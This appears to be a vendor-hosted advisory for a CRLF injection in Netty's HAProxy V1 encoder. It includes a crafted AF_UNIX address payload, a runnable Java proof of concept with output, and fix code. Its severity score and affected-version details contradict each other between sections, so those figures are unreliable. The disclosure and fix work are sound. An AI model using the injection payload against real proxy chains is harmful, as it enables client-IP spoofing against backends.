Summary
Netty: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address
Security Vulnerability Report: HAProxy V1 Protocol CRLF Injection via AF_UNIX Address in Netty
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-haproxy) |
| Component | io.netty.handler.codec.haproxy.HAProxyMessageEncoder |
| Vulnerability Type | CWE-93: Improper Neutralization of CRLF Sequences |
| Impact | HAProxy PROXY Protocol Injection / Client IP Spoofing |
| CVSS 3.1 Score | 7.5 (High) |
| CVSS 3.1 Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N |
2. Affected Components
io.netty.handler.codec.haproxy.HAProxyMessageEncoder,encodeV1()method (lines 63-77): writessourceAddressanddestinationAddressdirectly to output without CRLF validationio.netty.handler.codec.haproxy.HAProxyMessage, constructorcheckAddress()validates IPv4/IPv6 format but only checks length for AF_UNIX (line 439)
3. Vulnerability Description
Netty's HAProxy protocol encoder writes AF_UNIX socket addresses directly into the HAProxy V1 text protocol format without validating for CRLF characters. The V1 protocol uses CRLF (\r\n) as the line terminator, so CRLF characters in an address split the single PROXY header line into multiple lines, effectively injecting a second PROXY protocol header.
Root Cause, Encoder
// HAProxyMessageEncoder.java:63-77
private static void encodeV1(HAProxyMessage msg, ByteBuf out) {
out.writeBytes(TEXT_PREFIX); // "PROXY "
out.writeByte((byte) ' ');
out.writeCharSequence(msg.proxiedProtocol().name(), US_ASCII); // "UNIX_STREAM"
out.writeByte((byte) ' ');
out.writeCharSequence(msg.sourceAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
out.writeCharSequence(msg.destinationAddress(), US_ASCII); // <-- NO CRLF CHECK
out.writeByte((byte) ' ');
// ...
out.writeByte((byte) '\r');
out.writeByte((byte) '\n');
}
Root Cause, Insufficient Address Validation
// HAProxyMessage.java:428-442
private static void checkAddress(String address, AddressFamily addrFamily) {
switch (addrFamily) {
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
if (address.getBytes(CharsetUtil.US_ASCII).length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: " + address);
}
return; // ONLY checks length <= 108, NO CRLF validation!
case AF_IPv4:
if (!NetUtil.isValidIpV4Address(address)) { ... } // Format check blocks CRLF
case AF_IPv6:
if (!NetUtil.isValidIpV6Address(address)) { ... } // Format check blocks CRLF
}
}
IPv4 and IPv6 addresses are validated against format rules that implicitly reject CRLF. But AF_UNIX addresses only check length <= 108, any characters including CRLF are accepted.
4. Exploitability Prerequisites
This vulnerability is exploitable when:
- An application uses Netty's
HAProxyMessageEncoderto construct HAProxy V1 protocol headers - AF_UNIX (
UNIX_STREAMorUNIX_DGRAM) addresses contain user-controlled input - The encoded PROXY header is sent to a downstream server or load balancer
Affected use cases:
- PROXY protocol relays that construct AF_UNIX messages from upstream data
- Load balancer integrations where socket paths come from configuration or external sources
- Multi-tenant proxies that dynamically construct PROXY headers
5. Attack Scenario
Client IP Spoofing via Second PROXY Line Injection
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, // CRLF-injected source address
"/var/run/dest.sock",
0, 0);
Wire format sent to backend:
PROXY UNIX_STREAM /var/run/app.sock
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0
The backend receives two PROXY lines. Depending on implementation:
- HAProxy: may use the first line and ignore the second
- Other implementations: may use the second line, treating the connection as TCP4 from
10.0.0.1 - This enables client IP spoofing, the backend believes the client is
10.0.0.1when it's not
6. Proof of Concept
Full Runnable PoC Source Code (HAProxyUnixCRLFPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.haproxy.*;
import java.nio.charset.StandardCharsets;
public class HAProxyUnixCRLFPoC {
public static void main(String[] args) {
System.out.println("=== Netty HAProxy AF_UNIX CRLF Injection PoC ===\n");
String maliciousAddr = "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80";
String destAddr = "/var/run/dest.sock";
HAProxyMessage msg = new HAProxyMessage(
HAProxyProtocolVersion.V1,
HAProxyCommand.PROXY,
HAProxyProxiedProtocol.UNIX_STREAM,
maliciousAddr, destAddr, 0, 0);
EmbeddedChannel ch = new EmbeddedChannel(HAProxyMessageEncoder.INSTANCE);
ch.writeOutbound(msg);
ByteBuf out = ch.readOutbound();
String encoded = out.toString(StandardCharsets.UTF_8);
out.release();
ch.finishAndReleaseAll();
System.out.println("Wire format:");
for (String line : encoded.split("\n", -1)) {
System.out.println(" " + line.replace("\r", "\\r"));
}
int proxyCount = 0;
for (String line : encoded.split("\r\n")) {
if (line.startsWith("PROXY")) proxyCount++;
}
System.out.println("PROXY lines: " + proxyCount);
System.out.println("VULNERABLE: " + (proxyCount > 1 ? "YES" : "NO"));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
javac -cp "$JARS" HAProxyUnixCRLFPoC.java
java -cp "$JARS:." HAProxyUnixCRLFPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
=== Netty HAProxy AF_UNIX CRLF Injection PoC ===
[TEST 1] AF_UNIX Source Address CRLF Injection
------------------------------------------------
Source address: "/var/run/app.sock\r\nPROXY TCP4 10.0.0.1 10.0.0.2 1234 80"
Wire format:
PROXY UNIX_STREAM /var/run/app.sock\r
PROXY TCP4 10.0.0.1 10.0.0.2 1234 80 /var/run/dest.sock 0 0\r
PROXY lines found: 2
VULNERABLE: YES - Second PROXY line injected!
7. Remediation Recommendations
Option 1: Validate AF_UNIX Addresses for CRLF
// HAProxyMessage.java checkAddress() - add for AF_UNIX:
case AF_UNIX:
ObjectUtil.checkNotNull(address, "address");
byte[] addrBytes = address.getBytes(CharsetUtil.US_ASCII);
if (addrBytes.length > 108) {
throw new IllegalArgumentException("invalid AF_UNIX address: too long");
}
for (byte b : addrBytes) {
if (b == '\r' || b == '\n') {
throw new IllegalArgumentException(
"AF_UNIX address contains prohibited CRLF character");
}
}
return;
Option 2: Validate in Encoder
// HAProxyMessageEncoder.java encodeV1() - validate before writing:
private static void validateV1Address(String address) {
for (int i = 0; i < address.length(); i++) {
char c = address.charAt(i);
if (c == '\r' || c == '\n' || c == ' ') {
throw new HAProxyProtocolException(
"V1 address contains prohibited character at index " + i);
}
}
}
8. References
Impact
CVE-2026-59919 has a CVSS score of 5.5 (Medium). The vector is requires local access, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.2.16.Final, 4.1.136.Final); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
io.netty:netty-codec-haproxy to 4.2.16.Final or later; io.netty:netty-codec-haproxy to 4.1.136.Final or later
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-59919? CVE-2026-59919 is a medium-severity security vulnerability in io.netty:netty-codec-haproxy (maven), affecting versions >= 4.2.0.Final, < 4.2.16.Final. It is fixed in 4.2.16.Final, 4.1.136.Final.
- How severe is CVE-2026-59919? CVE-2026-59919 has a CVSS score of 5.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of io.netty:netty-codec-haproxy are affected by CVE-2026-59919? io.netty:netty-codec-haproxy (maven) versions >= 4.2.0.Final, < 4.2.16.Final is affected.
- Is there a fix for CVE-2026-59919? Yes. CVE-2026-59919 is fixed in 4.2.16.Final, 4.1.136.Final. Upgrade to this version or later.
- Is CVE-2026-59919 exploitable, and should I be worried? Whether CVE-2026-59919 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-59919 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-59919?
- Upgrade
io.netty:netty-codec-haproxyto 4.2.16.Final or later - Upgrade
io.netty:netty-codec-haproxyto 4.1.136.Final or later
- Upgrade